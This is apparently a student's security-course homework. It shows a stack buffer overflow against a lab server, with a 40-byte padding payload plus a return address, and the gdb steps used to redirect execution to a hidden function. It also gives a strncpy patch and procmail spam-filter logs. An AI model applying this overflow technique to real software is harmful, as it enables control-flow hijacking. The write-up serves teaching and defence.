Homework Number: 10

Name: Andrew Wu

ECN Login: wu1795

Due Date: 4/4/24

Problem 2:

The specifically crafted buffer overflow: 40 As, followed by the reverse endianness of the push address for secretFunction, as pictured below

```
[ece404w4@shay ~/ece404w4@shay.ecn.purdue.edu]$ client 12
7.0.0.1
Say something: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x
18\x0e\x40\x00
You Said: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@
Say something:
```

Picture of the secretFunction output below

```
RECEIVED: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@RECEIVED
 BYTES: 43

You weren't supposed to get here!
[Inferior 1 (process 152050) exited with code 01]
(gdb)
```

Steps to find the special string:

I first compiled both the server and client using the stack protector flag, designated a specific port within client.c before compiling, and then gdb'd the server file. Once in gdb, I uses disas on the secretFunction to find the push address to envoke the function, which was 0x0…0400e18. From there, I added a break line at clientComm to be able to check the registers, and then ran the server on the same port specified in the client file in gdb. I then typed the special string, using buffer overflow to perfectly place the secret function's push address into clientComm's return address location, continued in gdb, and the secret message popped up, pictured above.

Fixes in server.c

To make sure that the server is not vulnerable to buffer overflow, I scanned the server file to see if there were any functions that may be vulnerable to buffer overflow. At the bottom of the file in the clientComm function, I saw the use of strcpy, which is vulnerable to buffer overflow. I researched ways to alter the function to make it invulnerable to buffer overflow, and came across the use of strncpy, which limits the size of a string that can be copied and written to memory. Once the changes were made, I tested the server file again, and it no longer terminated when the string copied was larger than the space available. Changes to the server file are below.

```
121     //Change strcpy to strncpy
122     //Set max size to MAX_DATA_SIZE
123     strncpy(str, recvBuff, MAX_DATA_SIZE);
```

Problem 3 outputs:

```
[ece404w4@shay ~/Mail]$ ls
GET_MESSAGE_INDEX  logfile
[ece404w4@shay ~/Mail]$
```

```
From foxnewsletter_3F444DAA9368011CCC57D09E65FDEED3766C4EE231DBB0F1@response.wc07.net  Tue Apr  2 18:10:14 2024
 Subject: Subscription Confirmed
  Folder: spamFolder                                                 4072
procmail: [171667] Tue Apr  2 18:10:15 2024
procmail: Assigning "VERBOSE=0"



New message log:
Can't locate object method "e" via package "strict" at GET_MESSAGE_INDEX line 1.

From foxnewsletter_3F444DAA9368011CCC57D09E65FDEED3766C4EE231DBB0F1@response.wc07.net  Tue Apr  2 18:10:15 2024
 Subject: Subscription Confirmed
  Folder: spamFolder                                                 4080
procmail: [172047] Tue Apr  2 18:10:16 2024
procmail: Assigning "VERBOSE=0"



New message log:
Can't locate object method "e" via package "strict" at GET_MESSAGE_INDEX line 1.

From foxnewsletter_3F444DAA9368011CCC57D09E65FDEED3766C4EE231DBB0F1@response.wc07.net  Tue Apr  2 18:10:16 2024
 Subject: Subscription Confirmed
  Folder: spamFolder                                                 4087
procmail: [173241] Tue Apr  2 18:10:20 2024
procmail: Assigning "VERBOSE=0"



New message log:
Can't locate object method "e" via package "strict" at GET_MESSAGE_INDEX line 1.

From foxnewsletter_3F444DAA9368011CCC57D09E65FDEED3766C4EE231DBB0F1@response.wc07.net  Tue Apr  2 18:10:20 2024
 Subject: Subscription Confirmed
  Folder: spamFolder                                                 4118
procmail: [173342] Tue Apr  2 18:10:20 2024
procmail: Assigning "VERBOSE=0"
```